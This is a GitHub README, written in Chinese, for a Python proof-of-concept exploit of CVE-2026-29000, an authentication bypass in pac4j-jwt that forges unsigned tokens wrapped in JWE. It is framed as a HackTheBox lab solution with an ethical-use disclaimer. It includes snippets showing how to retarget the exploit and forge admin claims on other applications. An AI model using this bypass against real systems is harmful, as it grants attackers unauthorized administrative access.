oil-lamp-cat/CVE-2026-29000-pac4j-PoC
GitHub: oil-lamp-cat/CVE-2026-29000-pac4j-PoC
针对 CVE-2026-29000 的 Python 概念验证脚本,利用 pac4j-jwt 库的验证缺陷,通过伪造 JWE 令牌绕过身份认证。
Stars: 0 | Forks: 0

# CVE-2026-29000: pac4j-jwt 认证绕过 PoC
本仓库包含一个用于 **CVE-2026-29000** 的 Python 概念验证 (PoC) 漏洞利用脚本。
该脚本专门为解决 **HackTheBox (HTB)** 上的 **"Principal"** 靶机而开发和测试。
该漏洞存在于 `pac4j-jwt` 库(版本 <= 6.0.3)中,`JwtAuthenticator` 错误地允许攻击者通过将未签名的 `PlainJWT` 包装在仅使用服务器公钥加密的 JWE 中,从而绕过签名验证。
## 免责声明
本脚本仅用于教育目的和道德黑客测试。请勿在未获得明确授权的系统上使用。
## 前置条件
在运行脚本之前,请安装所需的 Python 库:
```
pip install jwcrypto requests
```
## 使用方法
通过传递目标基础 URL 作为参数来运行脚本:
```
python3 jwt_exploit.py http://:
```
### 预期输出

## 目标定制(在 HTB Principal 之外复用的关键)
虽然此脚本是为 HTB Principal 靶机定制的,但您**必须**修改 `jwt_exploit.py` 中的以下硬编码部分,以匹配不同目标的业务逻辑:
1. **JWKS 端点:**
更改服务器公开其公钥的端点。
# 默认设置为 /api/auth/jwks
resp = requests.get(f"{TARGET}/api/auth/jwks")
2. **JWT Claims:**
修改 JSON payload 以匹配目标应用程序所需的角色和用户名。
payload = b64url_encode(json.dumps({
"sub": "admin", # 更改为目标的管理员用户名
"role": "ROLE_ADMIN", # 更改为目标的管理员角色结构
"iss": "principal-platform", # 更改为目标的签发者字符串
"iat": now,
"exp": now + 3600
}).encode())
3. **验证端点:**
更改用于验证伪造令牌的端点。
# 默认设置为 /api/dashboard
resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
## 漏洞利用证明(Dashboard 访问)
生成令牌后,您可以将其注入浏览器的 `Session Storage` 或 `Cookies`(取决于应用程序的配置)以获得未经授权的访问权限。

标签:CTF Writeup, CVE-2026-29000, HackTheBox, JWE伪造, JWKS, JWT安全, pac4j-jwt, PE 加载器, PlainJWT, Python PoC, Web安全, 公钥加密, 协议分析, 权限提升, 网络安全, 蓝队分析, 认证绕过, 逆向工具, 隐私保护